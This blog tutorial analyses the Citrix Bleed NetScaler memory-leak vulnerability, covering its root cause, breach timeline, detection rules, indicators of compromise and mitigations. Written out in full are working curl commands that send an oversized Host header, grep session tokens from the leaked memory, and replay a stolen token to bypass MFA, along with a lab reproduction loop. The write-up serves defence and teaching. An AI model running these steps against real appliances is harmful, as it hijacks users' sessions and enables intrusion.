Skip to content
Back to Blog

tutorials · 8 min read

Citrix Bleed: the buffer overread that steals the session

CVE-2023-4966 lets you read ~63 KB of NetScaler memory with a single HTTP request carrying an oversized Host header. Among the data: active session tokens. The attacker replays them and walks in as a valid user — no MFA. Boeing, ICBC, Comcast and more fall between October and November.

· Manuel López Pérez · tutorials

CVE-2023-4966 lets you read ~63 KB of NetScaler memory with a single HTTP request carrying an oversized Host header. Among the data: active session tokens. The attacker replays them and walks in as a valid user — no MFA. Boeing, ICBC, Comcast and more fall between October and November.

On 10 October 2023, Citrix publishes an advisory for CVE-2023-4966 in NetScaler ADC and Gateway. Information disclosure, CVSS 9.4. The industry christens it informally — and fast — Citrix Bleed, by analogy with Heartbleed: both are buffer overread, both leak adjacent process memory, both expose the worst kind of secrets. Heartbleed leaked private keys; Citrix Bleed leaks active session tokens.

By month-end the pattern is clear: the attacker makes an unauthenticated HTTP request, receives session tokens belonging to other users currently signed in, and replays them. MFA doesn’t help — the session is already authenticated. Boeing confirms on 1 November. ICBC US falls on 8 November with knock-on effect on US Treasury settlement. Comcast Xfinity notifies 35.7 million accounts in December. Allen & Overy, DP World Australia, several US states, federal agencies.

Mandiant confirms in-the-wild exploitation since late August — six weeks before the patch.

Lab: Assetnote public PoC reproducible against a vulnerable NetScaler image in a closed lab. Not sent against production appliances.

The bug — snprintf returning the unwritten size

The vulnerable function, per the RE published by Assetnote, sits in the NetScaler library that serves the OpenID Discovery endpoint:

// Reconstructed from Assetnote on nsppe / libns_aaa_oauthrp.so
// (NetScaler 13.1-48.47, function ns_aaa_oauthrp_send_openid_config)
char  resp_buf[0x20000];                            // 131072 bytes on stack
const char *host = req_get_header(req, "Host");

int n = snprintf(resp_buf, sizeof resp_buf,
                 "{\"issuer\":\"https://%s/oauth/idp\","
                 "\"authorization_endpoint\":\"https://%s/oauth/idp/login\","
                 /* ...more fields that repeat %s with host... */
                 "}", host, host, host, host, host, host);

ns_vpn_send_response(req, resp_buf, n);             // ← sends n bytes

snprintf returns the number of bytes it would have written if the buffer had been large enough — not the number it actually wrote. If host is long (several tens of KB), the resulting string exceeds 0x20000 (131072) and snprintf truncates the write but returns the full size. The next call sends n bytes from resp_buf — the first 0x20000 are the truncated response, the rest are bytes adjacent to the buffer on the stack/heap.

What lives near the buffer in nsppe:

  • Request buffers of other clients active on the same worker (cookies, headers, POST body).
  • NSC_AAAC session tokens of authenticated users.
  • Fragments of SAML assertions, JWT bearer tokens.
  • Heap memory holding strings that have been freed but not zero-filled.

The patch (13.1-49.15 and backports) changes the send call to use MIN(n, sizeof resp_buf) so it never returns more bytes than were actually written.

The request that triggers the leak

Assetnote publishes the concrete PoC on 26 October 2023. Exact Host size needed to force the overflow: ~24,812 bytes of path-equivalent which, multiplied by the 6 %s expansions in the template, exceeds 0x20000:

HOST_OVERFLOW=$(python3 -c "print('A' * 24812)")
curl -k --max-time 10 \
  -H "Host: $HOST_OVERFLOW" \
  "https://target.netscaler.test/oauth/idp/.well-known/openid-configuration" \
  -o leak.bin

ls -la leak.bin
# -rw-r--r-- 1 user user 65304 ... leak.bin    ← ~64KB response

The response is the truncated JSON followed by adjacent memory. Search for NSC_AAAC tokens (64 hex chars + 2 dash-separated halves):

strings leak.bin | grep -oE '[a-f0-9]{32}\.[a-f0-9]{32}' | sort -u
# 59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42
# 8f3e1a7b9c4d5e6f1a2b3c4d5e6f7a8b.9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
# ...

# Other exposed cookie/header variants:
strings leak.bin | grep -E 'NSC_AAAC=|sessionId=|Authorization:' | head

Each token observed corresponds to a session active at the moment of the request — SSL VPN, OAuth, Citrix Workspace users.

Replaying the token

With a valid token, the attacker drops it in their browser and signs in as that user:

TOKEN='59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42'

# 1) VPN endpoint — active SSL VPN session
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/vpn/index.html"
# → 200 OK, published applications page

# 2) Citrix Workspace — remote apps
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/cgi/login?username=&password="
# → authenticated as the user that owns the token

Critical point: the normal flow requires username + password + MFA. The token bypasses all three — it is an authenticated session. Resetting the password doesn’t invalidate the token. Only kill aaa session from the CLI or a user logout closes the session.

Most organisations that patched on 10-11 October didn’t rotate sessions until Mandiant’s guidance on 17 October. In that window, attackers holding tokens stolen pre-patch kept walking in.

Timeline

  • Late August 2023: Mandiant identifies first in-the-wild cases. Preliminary attribution to several clusters, no single pattern.
  • 10 October: Citrix publishes advisory and patch. Initial recommendation: patch.
  • 17 October: Mandiant publishes guidance — beyond patching, terminate all active sessions because the patch doesn’t invalidate tokens stolen before 10 October.
  • 23 October: Citrix amplifies Mandiant’s recommendation.
  • 26 October: Assetnote publishes public PoC (oversized Host header).
  • Late October – November: mass exploitation by multiple actors. LockBit very active.
  • 1 November: Boeing confirms compromise (LockBit lists it on their portal).
  • 8 November: ICBC US confirms compromise with impact on US Treasury settlement.
  • December 2023: Comcast Xfinity notifies 35.7M accounts, same vector.

Detection

NetScaler-side — limit on Host header

The most direct one: WAF / reverse proxy rule in front of the NetScaler that rejects Host: headers longer than 1 KB on /oauth/idp/.*. No legitimate case needs a long Host.

ModSecurity rule:

SecRule REQUEST_HEADERS:Host "@gt 1024" \
    "id:1004966,phase:1,deny,status:400,log,\
     msg:'CVE-2023-4966 Citrix Bleed — oversized Host header',\
     tag:'cve/2023-4966',tag:'attack-info-leak'"

Suricata / Snort

alert http any any -> $NETSCALER any (msg:"CITRIX BLEED CVE-2023-4966 oversized Host header to OAuth endpoint";
    http.uri; content:"/oauth/idp/.well-known/openid-configuration"; nocase;
    http.host; isdataat:1024;
    reference:cve,2023-4966;
    classtype:attempted-recon; sid:90234966; rev:2;)

KQL — Sentinel / Defender

// 1) Requests with oversized Host header (> 1KB) to /oauth/idp/
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor =~ "Citrix" or DeviceProduct in~ ("NetScaler","ADC","Gateway")
| where RequestURL has "/oauth/idp/.well-known/openid-configuration"
| where strlen(coalesce(SourceHostName, RequestClientApplication, "")) > 1024
| project Timestamp, SourceIP, RequestURL, DeviceName

// 2) Session resumed without a prior auth event in 24h
let session_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName !startswith "anonymous" and TargetUserName !endswith "$";
let auth_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4768  // Kerberos TGT issued (real login)
| project AuthTime=TimeGenerated, TargetUserName;
session_events
| join kind=leftouter auth_events on TargetUserName
| where AuthTime < TimeGenerated - 24h or isnull(AuthTime)
| project TimeGenerated, Computer, TargetUserName, IpAddress

Sigma — session resumed from new IP

title: Citrix Bleed Session Token Reuse from New IP
id: 8e1f0c4d-3a8b-4cdd-bf7a-2e4a6c7d8e9f
status: stable
references:
    - https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966
logsource:
    product: citrix
    service: netscaler
detection:
    selection:
        EventID: 'AAA_SESSION_ESTABLISHED'
    new_context:
        SourceCountry|not: '{baseline_user_country}'
    no_prior_auth:
        not_present_in_prior_24h: AAA_LOGIN_SUCCESS
    condition: selection and (new_context or no_prior_auth)
level: high

Post-exploitation IoCs published by Mandiant

TypeIndicatorNotes
MD5eb842a9509dece779d138d2e6b0f6949FREEFIRE .NET backdoor (C2 via Slack)
Filenamee.exe, d.dllCredential harvester (loader + DLL)
Filenamesh3.exeMimikatz LSADUMP
Filename7.exe7-zip portable (staging/exfil)
Filenamenetscan.exeSoftPerfect NetScan (lateral recon)
Legit RMM abusedAtera, AnyDesk, SplashTop”Legitimate” persistence after initial compromise

CISA in AA23-325A adds LockBit-specific IoCs using Citrix Bleed.

Reproduction in a lab

# Setup: NetScaler ADC VPX in VMware with build < 13.1-49.15.
# The NSVPX image is available to Citrix customers under contract.
# Enable the OAuth IDP portal on a test vIP.

# 1) Confirm vulnerable version from the appliance CLI:
#    show ns version
#    -> NetScaler NS13.1: Build 48.47

# 2) Trigger the leak — adjust size until the response exceeds 32KB
for SIZE in 16000 20000 22000 24000 24812 25000; do
  RESP=$(curl -k --max-time 5 \
    -H "Host: $(python3 -c "print('A'*$SIZE)")" \
    "https://lab-netscaler.local/oauth/idp/.well-known/openid-configuration" \
    -o /tmp/leak.bin -w "%{size_download}")
  echo "size=$SIZE response_bytes=$RESP"
done
# Effective size in lab: 24812 bytes per Assetnote.

# 3) Extract cookies from the response
strings /tmp/leak.bin | grep -oE 'NSC_AAAC=[A-Za-z0-9\.\-]+' | sort -u

# 4) Validate the token against the UI
TOKEN=...
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://lab-netscaler.local/vpn/index.html"
# If it returns the published apps page, the bleed worked

Mitigations, in order

  1. Patch to 14.1-8.50, 13.1-49.15, 13.0-92.19, or equivalent on NetScaler Cloud.
  2. Terminate ALL active sessions after patching:
    > kill aaa session -all
    > kill icaconnection -all
    > kill pcoipConnection -all
    > kill rdpConnection -all
    Otherwise, tokens stolen before the patch keep working.
  3. Rotate credentials for any user with an active session during the exposure window.
  4. Block external SSL VPN during the patch if there is no way to migrate traffic to another door.
  5. Audit AD logs for logons from unprecedented sessions.
  6. After the incident: move the VPN portal behind a central IDP (Okta, Entra ID) with device posture check. That turns stolen tokens into junk because the next authentication to the IDP detects the changed device fingerprint.

Lessons

  1. Buffer overreads aren’t history. Heartbleed (2014), Cloudbleed (2017), Citrix Bleed (2023), Citrix Bleed 2 (2025). In large enterprise products the bug keeps coming back. The reason is the same: C/C++ and legacy code that predates the memory-safe era.
  2. The patch isn’t the full mitigation. A bug that exposes state (sessions, keys) requires rotating the state in addition to patching. That second part gets systematically forgotten.
  3. MFA doesn’t protect post-auth. All the corporate MFA investment is nullified when the attacker steals the session after login. The defence is session-bound device posture or continuous evaluation of the session — available in Entra ID, modern Okta, not in NetScaler standalone.
  4. Citrix is still perimeter. Second critical pre-auth zero-day of the year after CVE-2023-3519 in July. For 2024 the operational question is: is there an alternative? Modern Zero Trust Network Access is maturing enough to replace traditional SSL VPN.

References

Back to Blog

Related Posts

View All Posts »
Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

tutorials · 15 min

Cisco ASA: ArcaneDoor returns with CVE-2025-20333 and a ROM bootkit

CVE-2025-20362 (auth bypass via path traversal, a variant of a 2018 bug) + CVE-2025-20333 (buffer overflow in a Lua script in WebVPN). Chained, pre-auth RCE as root on any ASA/FTD exposed to the internet. UAT4356 has been exploiting them since May 2025 and drops ROMMON persistence with a GRUB bootkit (RayInitiator) that survives reboot and upgrade.

· Manuel López Pérez

SharePoint ToolShell: the auth bypass Microsoft patches twice

tutorials · 14 min

SharePoint ToolShell: the auth bypass Microsoft patches twice

CVE-2025-49706 + CVE-2025-49704 give pre-auth RCE on on-prem SharePoint. The 8 July patch turns out to be incomplete and the variant CVE-2025-53770 + CVE-2025-53771 shows up, exploited at scale from 18 July. The spinstall0.aspx web shell steals the MachineKeys and persistence survives the patch.

· Manuel López Pérez

Marks & Spencer and the UK retail wave: when the provider helpdesk is the shortest way in

tutorials · 13 min

Marks & Spencer and the UK retail wave: when the provider helpdesk is the shortest way in

On 25 April M&S suspends its ecommerce. Vector: social engineering of the TCS helpdesk — outsourced IT provider — for credential reset. Scattered Spider as initial access, DragonForce as extortion affiliate. Co-op and Harrods fall in the following days with the same playbook. £300M declared impact. VM lab with compensating control.

· Manuel López Pérez